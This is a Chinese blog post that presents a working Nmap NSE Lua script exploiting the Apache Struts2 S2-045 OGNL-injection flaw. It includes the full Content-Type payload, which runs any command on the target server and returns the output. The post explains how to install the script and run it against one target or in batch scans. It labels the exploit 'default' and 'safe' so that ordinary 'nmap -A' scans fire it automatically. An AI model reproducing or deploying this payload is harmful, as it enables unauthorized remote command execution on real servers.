文档章节

nmap实现 自动发现web漏洞的思路

超级大黑猫
 超级大黑猫
发布于 05/31 15:35
字数 755
阅读 228
收藏 0
local http = require "http"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"

-- 作者
author = "k4n5ha0"
-- 授权
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
-- 分类
categories = {"default", "safe"}
-- 端口和服务
portrule = shortport.http

-- trim函数
function trim(s)
    return (s:gsub("^%s*(.-)%s*$", "%1"))
end

function print_r(t)
    local print_r_cache = {}
    local function sub_print_r(t, indent)
        if (print_r_cache[tostring(t)]) then
            print(indent .. "*" .. tostring(t))
        else
            print_r_cache[tostring(t)] = true
            if (type(t) == "table") then
                for pos, val in pairs(t) do
                    if (type(val) == "table") then
                        print(indent .. "[" .. pos .. "] => " .. tostring(t) .. " {")
                        sub_print_r(val, indent .. string.rep(" ", string.len(pos) + 8))
                        print(indent .. string.rep(" ", string.len(pos) + 6) .. "}")
                    elseif (type(val) == "string") then
                        print(indent .. "[" .. pos .. '] => "' .. val .. '"')
                    else
                        print(indent .. "[" .. pos .. "] => " .. tostring(val))
                    end
                end
            else
                print(indent .. tostring(t))
            end
        end
    end
    if (type(t) == "table") then
        print(tostring(t) .. " {")
        sub_print_r(t, "  ")
        print("}")
    else
        sub_print_r(t, "  ")
    end
    print()
end

function st2exp_generate_http_req(host, port, uri, cmd)
    -- port.number为端口号
    -- print(host .. ":" .. port.number)
    -- 设置 HTTP headers
    local options = {header = {}}
    options["no_cache"] = true
    -- 构造UA为百度爬虫
    options["header"]["User-Agent"] =
        "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html"
    -- 构造payload
    options["header"]["Content-Type"] =
        "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='" ..
        cmd ..
            "').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
    -- 如果需要cookie 可以这么构造 先留着例子  options["header"]["Cookie"] = cmd
    local req = http.get(host, port, uri, options)
    -- PrintTable(req)
    -- stdnse.debug1("接受 '%s' in HTTP", PrintTable(req))
    -- 获取的内容不能为空
    if req.fragment ~= nil then
        back = trim(req.fragment)
        -- trim掉以后如果长度大于0的情况 就是有漏洞
        if string.len(back) > 0 then
            print(
                "!------------!\nst-045 exploit\n!------------!\n" ..
                    host .. ":" .. port.number .. "\n!------------!\n" .. back .. "\n!------------!"
            )
        end
    end
    return req
end

-- 使用教程
-- 把本脚本放到 nmap的scripts文件夹 linux在/usr/local/share/nmap/scripts/下面
-- nmap --script st-045.lua --script-args uri=/showcase.action,cmd=id -p 8080  www.123.com
action = function(host, port)
    -- 执行的命令 默认是 whoami windows和linux都能执行
    -- print_r(host)
    local cmd = stdnse.get_script_args(SCRIPT_NAME .. ".cmd") or "whoami"
    -- local http_header = stdnse.get_script_args(SCRIPT_NAME .. ".header") or nil
    local uri = stdnse.get_script_args(SCRIPT_NAME .. ".uri") or "/index.action"
    -- host.targetname是目标的名字 也就是 www.123.com 不为空的项目
    if host.targetname ~= nil then
        st2exp_generate_http_req(host.targetname, port, uri, cmd)
    end
    st2exp_generate_http_req(host.ip, port, uri, cmd)
    st2exp_generate_http_req(host.name, port, uri, cmd)

    -- stdnse.debug1("Response '%s' in HTTP!", req.body)
end

脚本很简单 重命名为st-045.nse 放到nmap的scripts目录下

linux系统的scripts目录在 /usr/local/share/nmap/scripts/ 下面

文件已经设置categories 带有default的属性 放置完毕后执行:

nmap  --script-updatedb 

可以将脚本属性更新到nmap的脚本数据库内 这样扫描的时候才能默认触发脚本的规则

提示:如果你在开发调试过程中 nmap -d 可以看到 stdnse.debug1的调试输出 支持中文

本脚本 独立验证漏洞模式运行如下:

nmap --script st-045 --script-args uri=/showcase.action,cmd=pwd  -p 8080  127.0.0.1

或者

nmap --script st-045 --script-args cmd=ls -p 8080  127.0.0.1

批量扫描的模式如下:

nmap -A -T4  127.0.0.1  

就能发现漏洞

未来会持续更新这个poc系列

抱歉  默认的扫描的输出效果不是很好  所以我搞的这么显眼 以后的poc我学学搞得低调点

修补了一下bug 现在ip地址强制扫描 也能扫描域名目标

© 著作权归作者所有

共有 人打赏支持
超级大黑猫
粉丝 6
博文 93
码字总数 34543
作品 0
杭州
程序员
分享一款基于Pocsuite的漏洞扫描系统

  PS:本项目仅用于测试、学习使用,不得用于其他非法目的。   本项目是一款基于 Flask 应用框架的在线漏洞扫描系统,同时集成了渗透测试常用的端口扫描、子域名爆破等功能,后端漏洞扫描...

FreeBuf
05/01
0
0
挖洞经验 看我如何利用一条扫描命令发现价值$2500漏洞

        在最近Memcache服务被利用发动反射型DDoS攻击事件之后,我想到了之前我发现的一例Memcache相关的赏金漏洞,这是一个价值$2500美金的Pornhub网站Memcache漏洞,该漏洞已作为典型...

FreeBuf
04/28
0
0
Nmap在pentest box中的扫描及应用

最近一直在思考,Web渗透中,正面的渗透是一种思路,横向和纵向渗透也是一种思路,在渗透过程中,目标主站的防护越来越严格,而子站或者目标所在IP地址的C段或者B端的渗透相对容易,这种渗透...

simeon2005
2017/08/22
0
0
小型网站渗透常规思路之抛砖引玉

首先,我们知道 。当我们得到一个目标后,当然目标只是针对小型网站的一个思路,大型网站又是另外一个思路了。 信息收集 首先要做的就是信息收集,正所谓磨刀不误砍柴功。 以下引用owasp 渗透...

首席安全砖家
2015/04/13
0
6
Linux操作系统下查找漏洞的几种必备兵器

Linux操作系统是一个开放源代码的免费操作系统,它不仅安全、稳定、成本低,而且很少发现有病毒传播,因此,Linux操作系统一直被认为是微软Windows系统的劲敌。近年来,随着Linux操作系统在我...

zt371
2009/05/07
909
0

没有更多内容

加载失败,请刷新页面

加载更多

CentOS7防火墙firewalld操作

firewalld Linux上新用的防火墙软件,跟iptables差不多的工具。 firewall-cmd 是 firewalld 的字符界面管理工具,firewalld是CentOS7的一大特性,最大的好处有两个:支持动态更新,不用重启服...

dingdayu
今天
1
0
关于组件化的最初步

一个工程可能会有多个版本,有国际版、国内版、还有针对各种不同的渠道化的打包版本、这个属于我们日常经常见到的打包差异化版本需求。 而对于工程的开发,比如以前的公司,分成了有三大块业...

DannyCoder
今天
2
0
Spring的Resttemplate发送带header的post请求

private HttpHeaders getJsonHeader() { HttpHeaders headers = new HttpHeaders(); MediaType type = MediaType.parseMediaType("application/json; charset=UTF-8"); ......

qiang123
昨天
3
0
Spring Cloud Gateway 之 Only one connection receive subscriber allowed

都说Spring Cloud Gateway好,我也来试试,可是配置了总是报下面这个错误: java.lang.IllegalStateException: Only one connection receive subscriber allowed. 困扰了我几天的问题,原来...

ThinkGem
昨天
27
0
学习设计模式——观察者模式

1. 认识观察者模式 1. 定义:定义对象之间一种一对多的依赖关系,当一个对象状态发生变化时,依赖该对象的其他对象都会得到通知并进行相应的变化。 2. 组织结构: Subject:目标对象类,会被...

江左煤郎
昨天
4
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部